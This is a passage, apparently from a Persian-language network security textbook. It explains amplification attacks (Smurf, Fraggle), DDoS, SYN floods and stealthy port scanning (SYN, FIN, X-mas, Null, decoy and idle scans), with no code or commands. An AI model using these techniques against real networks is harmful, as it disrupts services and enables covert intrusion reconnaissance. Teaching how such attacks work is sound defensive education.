در ﭼﻨﯿﻦ وﺿﻌﯿﺘﯽ ﻧﻔﻮذﮔﺮ ﺑﺎ ﭘﻬﻨﺎی ﺑﺎﻧﺪ ﺑﯿﺸﺘﺮ از ﻗﺮﺑﺎﻧﯽ ،ﻣﯽ ﺗﻮاﻧﺪ در ﻣﻘﺎﯾﺴﻪ ﺑﺎ ﻗﺮﺑﺎﻧﯽ اﻃﻼﻋﺎت ﺑﯿﺸﺘﺮی ارﺳـﺎل ﮐﻨـﺪ.
ﺑﻨﺎﺑﺮاﯾﻦ از رﺳﯿﺪن ﺗﺮاﻓﯿﮏ ﻫﺎی ﻣﻌﺘﺒﺮ دﯾﮕﺮ ﺑﻪ ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺟﻠﻮﮔﯿﺮی ﻣﯽ ﮐﻨﺪ.
.3,5,4ﺣﻤﻼت ﺗﺸﺪﯾﺪی
راه ﻫﻮﺷﻤﻨﺪاﻧﻪ ای ﺑﺪون ﻧﯿﺎز ﺑﻪ ﭘﻬﻨﺎی ﺑﺎﻧﺪ زﯾﺎد ،ﺑﺮای اﺟﺮای ﺣﻤﻠﻪ Ping Floodوﺟﻮد دارد .ﯾـﮏ ﺣﻤﻠـﻪ ﺗـﺸﺪﯾﺪی از
ﻋﻤﻠﯿﺎت ﺟﻌﻞ ﮐﺮدن ) (spoofingو آدرس دﻫﯽ اﻧﺘﺸﺎری اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ و ﺟﺮﯾﺎن ﺳﺎده ای از ﺑﺴﺘﻪ ﻫﺎ را ﺑـﻪ ﺑـﯿﺶ از
ﺻﺪ ﺑﺮاﺑﺮ ﺗﺸﺪﯾﺪ ﺧﻮاﻫﺪ ﮐﺮد .ﻧﺨﺴﺖ ﻻزم اﺳﺖ ﮐﻪ ﯾﮏ ﺳﯿﺴﺘﻢ ﺗﺸﺪﯾﺪی ﻫﺪف ،ﯾﺎﻓﺖ ﺷـﻮد .اﯾـﻦ ﺳﯿـﺴﺘﻢ ﺗـﺸﺪﯾﺪی،
ﺷﺒﮑﻪ ای اﺳﺖ ﮐﻪ اﻣﮑﺎن ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ آدرس اﻧﺘﺸﺎری را ﻓـﺮاﻫﻢ ﺳـﺎﺧﺘﻪ و ﻫﻤﭽﻨـﯿﻦ دارای ﺗﻌـﺪاد ﻧـﺴﺒﺘﺎ زﯾـﺎدی
ﻣﯿﺰﺑﺎن ﻓﻌﺎل اﺳﺖ .در اﯾﻦ ﺻﻮرت ،ﻧﻔﻮذﮔﺮ ﺑﺴﺘﻪ ﻫﺎی ﺑﺰرگ ICMP Echo Requestﺑﺎ آدرس ﺟﻌﻠﯽِ ﻣﻨﺒﻊ ﺑﺮاﺑـﺮ ﺑـﺎ
ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ را ﺑﻪ آدرس اﻧﺘﺸﺎری ﺷﺒﮑﻪ ﺗﺸﺪﯾﺪی ارﺳﺎل ﻣﯽ ﮐﻨﺪ .ﺗﺸﺪﯾﺪﮐﻨﻨﺪه اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ را ﺑﻪ ﺗﻤﺎم ﻣﯿﺰﺑﺎن ﻫـﺎی
ﻣﻮﺟﻮد در ﺷﺒﮑﻪ ﺗﺸﺪﯾﺪی اﻧﺘﺸﺎر ﻣﯽ دﻫﺪ .در ﻧﺘﯿﺠﻪ ﺑﺴﺘﻪ ﻫﺎی ﻣﺘﻨﺎﻇﺮ ICMP Echo Replyﺑﻪ آدرس ﻣﻨﺒـﻊ ﺟﻌﻠـﯽ،
ﮐﻪ در واﻗﻊ ﻫﻤﺎن ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ اﺳﺖ ،ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ.
135
اﯾﻦ ﺗﺸﺪﯾﺪ ﺗﺮاﻓﯿﮑﯽ ﺑﻪ ﻧﻔﻮذﮔﺮ اﯾﻦ اﻣﮑﺎن را ﻣﯽ دﻫﺪ ﮐﻪ ﺟﺮﯾﺎن ﻧﺴﺒﺘﺎ ﮐﻮﭼﮑﯽ از ﺑﺴﺘﻪ ﻫﺎی ICMP Echo Request
را ارﺳﺎل ﮐﻨﺪ و در ﻃﺮف ﻣﻘﺎﺑﻞ ،ﻗﺮﺑﺎﻧﯽ ،ﺑﯿﺶ از ﺻﺪﻫﺎ ﺑﺴﺘﻪ ICMP Echo Replyدرﯾﺎﻓﺖ ﺧﻮاﻫﺪ ﮐﺮد .اﯾﻦ ﺣﻤﻠـﻪ را
ﻣﯿﺘﻮان ﻫﻢ ﺑﺎ ﺑﺴﺘﻪ ﻫﺎی ICMPو ﻫﻢ ﺑﺎ ﺑﺴﺘﻪ ﻫﺎی UDPاﻧﺠﺎم داد ﮐﻪ ﺑﻪ ﺗﺮﺗﯿﺐ Smurfو Fraggleﻧﺎم ﮔﺮﻓﺘﻪ اﻧﺪ.
ﯾﮏ ﺣﻤﻠﻪ ،DDoSﻧﺴﺨﻪ ﺗﻮﺳﻌﻪ ﯾﺎﻓﺘﻪ ای از ﺣﻤﻠﻪ ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ از ﻧﻮع ﻓﻼد اﺳﺖ .ﭼﻮن ﻣﺼﺮف ﭘﻬﻨﺎی ﺑﺎﻧﺪ ،ﻫـﺪف
ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ از ﻧﻮع ﻓﻼد ﻣﯽ ﺑﺎﺷﺪ ،ﻟﺬا ﻫﺮ ﻗـﺪر ﭘﻬﻨـﺎی ﺑﺎﻧـﺪ ﻧﻔـﻮذﮔﺮ ﺑﯿـﺸﺘﺮ ﺑﺎﺷـﺪ ،ﺑـﻪ ﺗﺒـﻊ آن ﻣـﯽ ﺗﻮاﻧـﺪ
ﺧﺴﺎرت ﺑﯿﺸﺘﺮی را وارد ﺳﺎزد .در ﯾﮏ ﺣﻤﻠﻪ ،DDoSﻧﻔﻮذﮔﺮ اﺑﺘﺪا ﺑﻪ ﺗﻌﺪادی از ﻣﯿﺰﺑـﺎن ﻫـﺎی دﯾﮕـﺮ ﺣﻤﻠـﻪ ﮐـﺮده و
دﯾﻤﻦ ﻫﺎﯾﯽ را ﺑﺮ روی آن ﻫﺎ ﻧﺼﺐ ﻣﯽ ﮐﻨﺪ .اﯾﻦ دﯾﻤﻦ ﻫﺎ ﺗﺎ زﻣﺎن اﻧﺘﺨﺎب ﯾﮏ ﻗﺮﺑﺎﻧﯽ ﺗﻮﺳﻂ ﻧﻔﻮذﮔﺮ ﻣﻨﺘﻈﺮ ﻣـﯽ ﻣﺎﻧﻨـﺪ.
ﻧﻔﻮذﮔﺮ از ﻧﻮﻋﯽ از ﺑﺮﻧﺎﻣﻪ ﮐﻨﺘﺮﻟﯽ اﺳﺘﻔﺎده ﮐﺮده و ﺗﻤﺎم اﯾﻦ دﯾﻤﻦ ﻫﺎ ﺑﻪ ﻃﻮر ﻫﻤﺰﻣـﺎن ﺣﻤﻠـﻪ را ﺑـﺎ اﺳـﺘﻔﺎده از ﻧـﻮﻋﯽ از
ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ از ﻧﻮع ﻓﻼد آﻏﺎز ﻣﯽ ﮐﻨﻨﺪ .ﻧﻪ ﺗﻨﻬﺎ اﻧﺠﺎم ﺣﻤﻠﻪ ﺑﺎ ﺗﻌﺪاد زﯾﺎدی از ﻣﯿﺰﺑﺎن ﻫﺎ ،ﺗﺎﺛﯿﺮ ﻋﻤﻠﯿﺎت ﻓﻼد
را ﭼﻨﺪﯾﻦ ﺑﺮاﺑﺮ ﻣﯿﮑﻨﻨﺪ ،ﺑﻠﮑﻪ ردﯾﺎﺑﯽ ﻧﻔﻮذﮔﺮ ﻧﯿﺰ ﺑﺴﯿﺎر دﺷﻮار ﻣﯽ ﮔﺮدد.
ﺑﻪ ﺟﺎی ﻣﺼﺮف و ﭘﺮ ﮐﺮدن ﭘﻬﻨﺎی ﺑﺎﻧﺪ ،ﺣﻤﻠﻪ SYN Floodدر ﺟﻬﺖ ﺗﺤﻠﯿﻞ ﻣﻮﻗﻌﯿﺖ ﻫـﺎ در ﭘـﺸﺘﻪ TCP/IPﮔـﺎم ﺑـﺮ
ﻣﯿﺪارد .ﭼﻮن TCPارﺗﺒﺎﻃﺎت را ﻧﮕﻬﺪاری ﻣﯽ ﮐﻨﺪ ،ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ اﯾـﻦ ارﺗﺒﺎﻃـﺎت )ﺑـﻪ ﻫﻤـﺮاه وﺿﻌﯿﺘـﺸﺎن( را ﺑﺎﯾـﺪ از
ﺟﺎﯾﯽ ردﮔﯿﺮی و دﻧﺒﺎل ﮐﺮد .ﭘﺸﺘﻪ TCP/IPاﯾﻦ ﮐﺎر را اﻧﺠﺎم ﻣﯽ دﻫﺪ ،اﻣﺎ ﺗﻌﺪاد ارﺗﺒﺎﻃﺎﺗﯽ ﮐﻪ ﯾﮏ ﭘـﺸﺘﻪ ﻣﻨﻔـﺮد TCP
ﻣﯽ ﺗﻮاﻧﺪ دﻧﺒﺎل ﮐﻨﺪ ﻣﺤﺪود ﻫﺴﺘﻨﺪ و SYN Floodﺑﺎ اﺳﺘﻔﺎده از ﻋﻤﻠﯿﺎت spoofingاز اﯾﻦ ﻣﺤﺪودﯾﺖ ﺳﻮ اﺳﺘﻔﺎده ﻣﯽ
ﮐﻨﺪ.
ﻧﻔﻮذﮔﺮ ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ را ﺑﺎ ﺑﺴﺘﻪ ﻫﺎی ﺑﯿﺸﻤﺎری از ،SYNﻓﻼد ﻣﯽ ﮐﻨﺪ .ﭼﻮن ﺑﺴﺘﻪ SYNﺑـﺮای ﺷـﺮوع ارﺗﺒـﺎط TCP
اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ،ﻟﺬا ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺑﻪ ﻋﻨﻮان ﭘﺎﺳﺦ ﯾﮏ ﺑﺴﺘﻪ SYN/ACKرا ﺑﻪ آدرس ﺟﻌﻠﯽ ارﺳﺎل ﻣﯽ ﮐﻨﺪ و ﻣﻨﺘﻈﺮ
ﺑﺴﺘﻪ ACKﻣﯽ ﻣﺎﻧﺪ .ﻫﺮ ﯾﮏ از اﯾﻦ ارﺗﺒﺎﻃﺎت ﻧﯿﻤﻪ ﺑﺎز )ﮐﻪ در ﺣﺎﻟﺖ اﻧﺘﻈﺎر ﺑﻪ ﺳﺮ ﻣﯽ ﺑﺮﻧﺪ( ،در ﯾﮏ ﺻﻒ اﻧﺒﺎﺷـﺘﻪ ﻣـﯽ
ﺷﻮﻧﺪ ﮐﻪ ﻓﻀﺎی ﻣﺤﺪودی دارد .ﭼﻮن آدرس ﻣﻨﺒﻊ ﺟﻌﻠﯽ ﻋﻤﻼ وﺟﻮد ﺧﺎرﺟﯽ ﻧـﺪارد ،ﻟـﺬا ﭘﺎﺳـﺦ ﻫـﺎی ACKﮐـﻪ ﺑـﺮای
ﺣﺬف اﯾﻦ entryﻫﺎ از اﻧﺒﺎره و ﮐﺎﻣﻞ ﮐﺮدن ارﺗﺒﺎط ﻧﯿﺎز ﻫﺴﺘﻨﺪ ،ﻫﺮﮔﺰ ﻧﺨﻮاﻫﻨﺪ رﺳﯿﺪ .در ﻋﻮض ،ﺑﺮای ﺣﺬف ﻫﺮ ارﺗﺒﺎط
ﻧﯿﻤﻪ ﺑﺎز از ﺻﻒ ،ﺑﺎﯾﺪ زﻣﺎن ﺗﻌﯿﯿﻦ ﺷﺪه ﺑﻪ ﻋﻨﻮان Time-Outﺳﭙﺮی ﺷﻮد ﮐﻪ زﻣﺎن ﻧﺴﺒﺘﺎ زﯾﺎدی اﺳﺖ.
ﻣﺎداﻣﯽ ﮐﻪ ﻧﻔﻮذﮔﺮ ﺑﻪ ﻓﻼد ﮐﺮدن ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺑﺎ ﺑﺴﺘﻪ ﺟﻌﻠﯽ SYNاداﻣﻪ ﻣﯽ دﻫﺪ ،اﻧﺒﺎره ی ﺻﻒ ﭘـﺮ ﻣـﯽ ﺷـﻮد .اﯾـﻦ
ﻣﺴﺌﻠﻪ ﺗﻘﺮﯾﺒﺎ اﻣﮑﺎن رﺳﯿﺪن ﺑﺴﺘﻪ ﻫﺎی واﻗﻌﯽ SYNو ﺷﺮوع ارﺗﺒﺎط ﻫﺎی ﻣﻌﺘﺒﺮ TCP/IPرا از ﺳﯿـﺴﺘﻢ ﻗﺮﺑـﺎﻧﯽ ﺳـﻠﺐ
ﻣﯿﮑﻨﺪ.
.3,6ﭘﻮﯾﺶ ﭘﻮرت
ﭘﻮﯾﺶ ﭘﻮرت راﻫﯽ اﺳﺖ ﺑﺮای ﺗﺸﺨﯿﺺ ﭘﻮرت ﻫﺎﯾﯽ ﮐـﻪ در ﺣـﺎل ﺷـﻨﻮد و ﭘـﺬﯾﺮای ارﺗﺒـﺎط ﻫـﺴﺘﻨﺪ .ﭼـﻮن ﺑـﺴﯿﺎری از
ﺳﺮوﯾﺴﻬﺎ روی ﭘﻮرت ﻫﺎی اﺳﺘﺎﻧﺪارد اﺟﺮا ﻣﯽ ﺷﻮﻧﺪ ،ﻟﺬا ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ اﻃﻼﻋﺎت ﻣﯽ ﺗﻮان ﻓﻬﻤﯿﺪ ﮐﻪ ﮐـﺪام ﺳـﺮوﯾﺲ
در ﺣﺎل اﺟﺮا اﺳﺖ .ﺳﺎده ﺗﺮﯾﻦ ﺷﮑﻞ ﭘﻮﯾﺶ ﭘﻮرت ،ﺗﻼش ﺑﺮای ﺑﺎز ﮐﺮدن ارﺗﺒﺎﻃﺎت TCPﺑﺎ ﺗﻤـﺎم ﭘـﻮرت ﻫـﺎی ﻣﻤﮑـﻦ
روی ﺳﯿﺴﺘﻢ ﻫﺪف اﺳﺖ .اﮔﺮﭼﻪ اﯾﻦ ﮐﺎر ﻣﻮﺛﺮ اﺳﺖ ،اﻣﺎ ﻗﺎﺑﻞ ﺗﺸﺨﯿﺺ و ردﯾﺎﺑﯽ ﻣﯽ ﺑﺎﺷﺪ .ﺑﻌﻼوه ،ﻫﻨﮕـﺎﻣﯽ ﮐـﻪ ارﺗﺒـﺎط
136
ﺑﺮﻗﺮار ﻣﯽ ﺷﻮد ،ﺳﺮوﯾﺴﻬﺎ ﻣﻌﻤـﻮﻻ آدرس IPرا ﻻگ ﺑـﺮداری ﻣـﯽ ﮐﻨﻨـﺪ .ﺑـﺮای اﺟﺘﻨـﺎب از ردﯾـﺎﺑﯽ ،ﭼﻨـﺪﯾﻦ ﺗﮑﻨﯿـﮏ
زﯾﺮﮐﺎﻧﻪ در ﭘﻮﯾﺶ ﭘﻮرت ﻣﻄﺮح ﺷﺪه اﺳﺖ ﮐﻪ ﺑﻪ ﺗﻮﺿﯿﺢ آﻧﻬﺎ ﻣﯽ ﭘﺮدازﯾﻢ.
ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ،ﭘﻮﯾﺶ SYNرا ﭘﻮﯾﺶ ﻧﯿﻤﻪ-ﺑﺎز ﻧﯿﺰ ﻣﯽ ﻧﺎﻣﻨﺪ ،زﯾﺮا در اﯾﻦ ﻋﻤﻠﯿﺎت ارﺗﺒﺎط TCPﮐﺎﻣﻞ ،ﺑﺮﻗﺮار ﻧﻤﯽ ﺷﻮد.
دﺳﺖ ﺗﮑﺎﻧﯽ TCP/IPرا ﺑﯿﺎد آورﯾﺪ:
ﻫﻨﮕﺎﻣﯽ ﯾﮏ ارﺗﺒﺎط ﮐﺎﻣﻞ ﺑﺮﻗﺮار ﻣﯿﺸﻮد ﮐﻪ :اﺑﺘﺪا ﯾﮏ ﺑﺴﺘﻪ SYNﻓﺮﺳﺘﺎده ،ﺳﭙﺲ ﯾﮏ ﺑﺴﺘﻪ SYN/ACKﺑﺮﮔﺮداﻧﺪه
ﺷﻮد .در ﮔﺎم ﺳﻮم ﻧﯿﺰ ﯾﮏ ﺑﺴﺘﻪ ACKﺑﺮای ﺗﮑﻤﯿﻞ دﺳﺖ ﺗﮑـﺎﻧﯽ و ﺑﺮﻗـﺮاری ارﺗﺒـﺎط ،ﺑﺎزﮔﺮداﻧـﺪه ﻣـﯽ ﺷـﻮد .ﭘـﻮﯾﺶ
SYNدﺳﺖ ﺗﮑﺎﻧﯽ را ﮐﺎﻣﻞ ﻧﺨﻮاﻫﺪ ﮐﺮد ،ﻟﺬا ﻫﺮﮔﺰ ارﺗﺒﺎط ﮐﺎﻣﻞ ﺑﺮﻗﺮار ﻧﺨﻮاﻫﺪ ﮔﺸﺖ .در ﻋﻮض ،ﻓﻘﻂ ﺑﺴﺘﻪ ی SYN
اوﻟﯿﻪ ارﺳﺎل و ﭘﺎﺳﺦ ﺑﺮرﺳﯽ ﻣﯽ ﮔﺮدد .اﮔﺮ ﺑﺴﺘﻪ SYN/ACKﺑﻪ ﻋﻨﻮان ﭘﺎﺳﺦ درﯾﺎﻓﺖ ﺷﻮد ،در اﯾﻦ ﺻﻮرت آن ﭘﻮرت
ﺑﺎﯾﺴﺘﯽ ﭘﺬﯾﺮای ارﺗﺒﺎط ﺑﺎﺷﺪ .اﯾﻦ ﺣﺎﻟﺖ ﺛﺒﺖ ﺷﺪه و ﯾﮏ ﺑﺴﺘﻪ RSTﺑﺮای ﻓﺴﺦ ارﺗﺒﺎط ارﺳﺎل ﻣﯽ ﺷﻮد ﺗـﺎ ﺑـﺎ اﯾﻨﮑـﺎر از
ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ ﻧﺎﮔﻬﺎﻧﯽ ﺳﺮوﯾﺲ ﺟﻠﻮﮔﯿﺮی ﺑﻪ ﻋﻤﻞ آﯾﺪ.
در ﻣﻘﺎﺑﻞ ﭘﻮﯾﺶ ،SYNاﺑﺰارﻫﺎﯾﯽ ﺑﺮای ردﯾﺎﺑﯽ و ﻻگ ﺑﺮداری ارﺗﺒﺎﻃـﺎت ﻧﯿﻤـﻪ ﺑـﺎز وﺟـﻮد دارﻧـﺪ .ﺑﻨـﺎﺑﺮاﯾﻦ ،ﻣﺠﻤﻮﻋـﻪ
ﺗﮑﻨﯿﮏ دﯾﮕﺮی ﺟﻬﺖ ﭘﻮﯾﺶ ﭘﻮرت ﻫﺎ ﺑﻪ ﺻﻮرت ﭘﻨﻬﺎن اﯾﺠﺎد ﺷﺪﻧﺪ :ﭘﻮﯾﺶ ﻫـﺎی X-mas ،FINو .Nullﺗﻤـﺎﻣﯽ اﯾـﻦ
ﺗﮑﻨﯿﮏ ﻫﺎ ،ﺑﺎ ارﺳﺎل ﯾﮏ ﺑﺴﺘﻪ ﺑﯿﻬﻮده ﺑﻪ ﺗﻤﺎم ﭘﻮرت ﻫﺎی ﺳﯿﺴﺘﻢ ﻫﺪف راﺑﻄﻪ دارﻧﺪ .اﮔﺮ ﭘﻮرﺗﯽ در ﺣـﺎل ﺷـﻨﻮد ﺑﺎﺷـﺪ،
اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ ﮐﻨﺎر ﮔﺬاﺷﺘﻪ ﻣﯽ ﺷﻮﻧﺪ .اﻣﺎ اﮔﺮ ﭘﻮرت ﺑﺴﺘﻪ ﺑﺎﺷﺪ ،ﯾﮏ ﺑﺴﺘﻪ RSTﺑﺮای ﻧﻔﻮذﮔﺮ ارﺳﺎل ﻣﯽ ﺷﻮد .ﻣﯽ ﺗـﻮان
از اﯾﻦ ﺗﻔﺎوت ﺑﺪون ﻧﯿﺎز ﺑﻪ ﺑﺎز ﮐﺮدن ارﺗﺒﺎط ،در راﺳﺘﺎی ﺑﺮرﺳﯽ ﭘﻮرت ﻫﺎﯾﯽ ﮐﻪ ﭘﺬﯾﺮای ارﺗﺒﺎط ﻫﺴﺘﻨﺪ اﺳﺘﻔﺎده ﮐﺮد.
ﭘﻮﯾﺶ ،FINﯾﮏ ﺑﺴﺘﻪ FINرا ارﺳﺎل ﻣﯽ ﮐﻨﺪ و ﭘﻮﯾﺶ X-masﺑﺴﺘﻪ ای را ﺑﺎ ﻓﻠﮓ ﻫﺎی URG ،FINو PSHارﺳـﺎل
ﻣﯿﺪارد )دﻟﯿﻞ ﻧﺎم ﮔﺬاری اﯾﻦ ﺗﮑﻨﯿﮏ آن اﺳﺖ ﮐﻪ ﻓﻠﮓ ﻫﺎی ذﮐﺮ ﺷﺪه ﻣﺎﻧﻨﺪ ﯾﮏ درﺧﺖ ﮐﺮﯾﺴﻤﺲ در ﻓﯿﻠـﺪﻫﺎی ﻓﻠـﮓ
در ﺑﺴﺘﻪ IPﻗﺮار ﮔﺮﻓﺘﻪ اﻧﺪ( .ﭘﻮﯾﺶ Nullﻧﯿﺰ ﯾﮏ ﺑﺴﺘﻪ ﻓﺎﻗﺪ ﻓﻠﮓ را ﻣﯽ ﻓﺮﺳﺘﺪ .اﮔﺮﭼﻪ ،اﯾﻦ ﻧﻮع ﭘـﻮﯾﺶ ﻫـﺎ ﻣﺨﻔﯿﺎﻧـﻪ
ﺗﺮ ﻫﺴﺘﻨﺪ ،اﻣﺎ ﻫﻨﻮز ﻫﻢ ﻏﯿﺮﻗﺎﺑﻞ اﻃﻤﯿﻨﺎن اﻧﺪ .ﺑﺮای ﻣﺜﺎل ،ﭘﯿﺎده ﺳﺎزی ﻣﺎﮐﺮوﺳﺎﻓﺖ از ،TCPﺑﺴﺘﻪ ﻫﺎی RSTرا آﻧﻄـﻮر
ﮐﻪ اﻧﺘﻈﺎر ﻣﯽ رود ارﺳﺎل ﻧﻤﯽ ﮐﻨﺪ ،ﻟﺬا اﯾﻦ ﺷﮑﻞ از ﺗﮑﻨﯿﮏ ﻫﺎی ﭘﻮﯾﺶ ﺑﻼ ﻓﺎﯾﺪه ﺧﻮاﻫﻨﺪ ﺑﻮد.
روش دﯾﮕﺮ ﺑﺮای ﺟﻠﻮﮔﯿﺮی از ردﯾﺎﺑﯽ ،ﻣﺨـــﻔﯽ ﺷﺪن در ﺑﯿﻦ ﭼﻨﺪ ﻃـﻌﻤﻪ اﺳﺖ .اﯾﻦ ﺗﮑﻨﯿﮏ ارﺗﺒﺎﻃـﺎت را از آدرس IP
ﻃﻌﻤﻪ ﻫﺎی ﻣﺨﺘﻠﻒ در ﻫﺮ ارﺗﺒﺎط ﺣﻘﯿﻘﯽ ﭘﻮﯾﺶ ﭘﻮرت ﺟﻌﻞ ﻣﯽ ﮐﻨﺪ .ﺑﻪ ﭘﺎﺳﺨﻬﺎی ارﺗﺒﺎﻃﺎت ﺟﻌﻠﯽ ﻧﯿﺎزی ﻧﯿـﺴﺖ ،ﭼـﻮن
ﺗﻨﻬﺎ ﻧﻘﺶ آﻧﻬﺎ ﮔﻤﺮاه ﮐﺮدن اﺳﺖ .ﺑﻪ ﻫﺮ ﺣﺎل ،آدرس ﺟﻌﻠﯽِ ﻃﻌﻤﻪ ﻫﺎ ،ﺑﺎﯾﺪ از آدرس ﻫﺎی IPﺣﻘﯿﻘﯽ ﻣﺮﺑﻮط ﺑﻪ ﻣﯿﺰﺑﺎن
ﻫﺎی زﻧﺪه اﺳﺘﻔﺎده ﮐﻨﻨﺪ .در ﻏﯿﺮاﯾﻦ ﺻﻮرت اﻣﮑﺎن آن ﻣﯽ رود ﮐﻪ ﻫﺪف ﻧﺎﮔﻬﺎ ﺗﺤﺖ ﺣﻤﻼت SYN Floodﻗﺮار ﮔﯿﺮد.
.3,6,4ﭘﻮﯾﺶ ﺑﯿﮑﺎر
ﭘﻮﯾﺶ ﺑﯿﮑﺎر ) ،(Idleراﻫﯽ اﺳﺖ ﺑﺮای ﭘﻮﯾﺶ ﻫﺪف ﮐﻪ ﺑﺎ رﻋﺎﯾﺖ روﻧﺪ ﺗﻐﯿﯿﺮات در ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ،از ﺑﺴﺘﻪ ﻫﺎی ﺟﻌﻠﯽ از
ﯾﮏ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ .ﻧﻔﻮذﮔﺮ ﺑﺎﯾﺪ ﯾـﮏ ﻣﯿﺰﺑـﺎن ﻗﺎﺑـﻞ اﺳـﺘﻔﺎده و ﺑﯿﮑـﺎر را ﺑﯿﺎﺑـﺪ ﮐـﻪ ﺗﺮاﻓﯿـﮏ دﯾﮕـﺮی را
137
درﯾﺎﻓﺖ ﯾﺎ ارﺳﺎل ﻧﻤﯽ ﮐﻨﺪ .ﻫﻤﭽﻨﯿﻦ ﺑﺎﯾﺪ دارای ﯾﮏ ﭘﯿﺎده ﺳﺎزی TCPﺑﺎﺷﺪ ﮐﻪ ﺷﻨﺎﺳﻪ ﻫـﺎی IPﻗﺎﺑـﻞ ﭘﯿـﺸﮕﻮﯾﯽ را ﺑـﺎ
اﻓﺰاﯾﺶ ﻣﻌﯿﻨﯽ ﺑﻪ ازای ﻫﺮ ﺑﺴﺘﻪ ﺗﻮﻟﯿﺪ ﮐﻨﺪ .ﺷﻨﺎﺳﻪ ﻫﺎی IPﺑﺎﯾﺪ در ﻫﺮ ﺑﺴﺘﻪ و در ﻫﺮ ﻧﺸﺴﺖ ﯾﮑﺘـﺎ ﺑﺎﺷـﻨﺪ ﮐـﻪ ﻣﻌﻤـﻮﻻ
روی وﯾﻨﺪوز ﻫﺎی 95و 2000ﺑﻪ ﺗﺮﺗﯿﺐ ﺑﻪ ﺗﻌﺪاد 1و 254واﺣﺪ )ﺑﺴﺘﻪ ﺑـﻪ ﻣـﺪل ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ( اﻓـﺰاﯾﺶ ﻣـﯽ ﯾﺎﺑﻨـﺪ.
ﺷﻨﺎﺳﻪ ﻫﺎی IPﻗﺎﺑﻞ ﭘﯿﺸﮕﻮﯾﯽ ﺗﺎ ﮐﻨﻮن ﻫﺮﮔﺰ رﯾﺴﮏ اﻣﻨﯿﺘﯽ ﻣﺤﺴﻮب ﻧﺸﺪه اﻧﺪ و ﺗﮑﻨﯿﮏ ﭘـﻮﯾﺶ ﺑﯿﮑـﺎر از اﯾـﻦ ﺗـﺼﻮر
ﻏﻠﻂ ﺳﻮ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ.
اﺑﺘﺪا ﻧﻔﻮذﮔﺮ ﺷﻨﺎﺳﻪ IPﻓﻌﻠﯽ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر را ﺑﺎ ﺗﻤﺎس ﺑﺎ آن ﺑﺪﺳﺖ ﻣﯽ آورد .اﯾﻦ ﮐﺎر ﺑﺎ ارﺳﺎل ﯾـﮏ ﺑـﺴﺘﻪ درﺧﻮاﺳـﺖ
ﻧﺸﺪه SYNﯾﺎ SYN/ACKو ﻣﺸﺎﻫﺪه ﺷﻨﺎﺳﻪ IPدر ﭘﺎﺳﺦ ارﺳﺎل ﺷﺪه اﻧﺠﺎم ﻣﯽ ﺷﻮد .ﺑﺎ ﭼﻨﺪ ﺑﺎر ﺗﮑﺮار اﯾﻦ روﻧﺪ ،ﻣﯽ
ﺗﻮان ﻣﻘﺪار اﻓﺰاﯾﺸﯽ را ﮐﻪ ﺷﻨﺎﺳﻪ IPﺑﻪ ازای ﻫﺮ ﺑﺴﺘﻪ ﺗﻐﯿﯿﺮ ﻣﯽ ﮐﻨﺪ ﺗﻌﯿﯿﻦ ﮐﺮد .آﻧﮕﺎه ﻧﻔﻮذﮔﺮ ﯾﮏ ﺑـﺴﺘﻪ ﺟﻌـﻞ ﺷـﺪه
SYNﺣﺎوی آدرس IPﻣﯿﺰﺑﺎن را ﺑﻪ ﭘﻮرﺗﯽ روی ﺳﯿﺴﺘﻢ ﻫﺪف ﻣﯽ ﻓﺮﺳﺘﺪ .ﺑﺴﺘﻪ ﺑﻪ در ﺣﺎل ﺷﻨﻮد ﺑﻮدن ﯾـﺎ ﻧﺒـﻮدن آن
ﭘﻮرت ،دو ﺣﺎﻟﺖ رخ ﻣﯽ دﻫﺪ:
اﮔﺮ ﭘﻮرت در ﺣﺎل ﺷﻨﻮد ﺑﺎﺷﺪ ،ﯾﮏ ﺑﺴﺘﻪ SYN/ACKﺑﻪ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ارﺳﺎل ﻣﯽ ﺷﻮد .اﻣﺎ ﭼﻮن ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر در ﻋﻤﻞ
ﺑﺴﺘﻪ SYNاوﻟﯿﻪ را ارﺳﺎل ﻧﮑﺮده ﺑﻮد ،ﻟﺬا اﯾﻦ ﭘﺎﺳﺦ ﺑﺮای ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ﻏﯿﺮ ﻗﺎﺑﻞ درﺧﻮاﺳﺖ ﺑﻮده و آﻧﺮا ﺑﺎ ارﺳﺎل ﯾـﮏ
ﺑﺴﺘﻪ RSTﭘﺎﺳﺦ ﻣﯽ دﻫﺪ.
اﮔﺮ ﭘﻮرت در ﺣﺎل ﺷﻨﻮد ﻧﺒﺎﺷﺪ ،ﻣﺎﺷﯿﻦ ﻫﺪف ،ﯾﮏ ﺑﺴﺘﻪ RSTرا ﺑﻪ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ارﺳﺎل ﻣﯽ ﮐﻨﺪ اﯾـﻦ ﺑـﺴﺘﻪ اﺣﺘﯿـﺎج ﺑـﻪ
ﭘﺎﺳﺦ ﻧﺪارد.
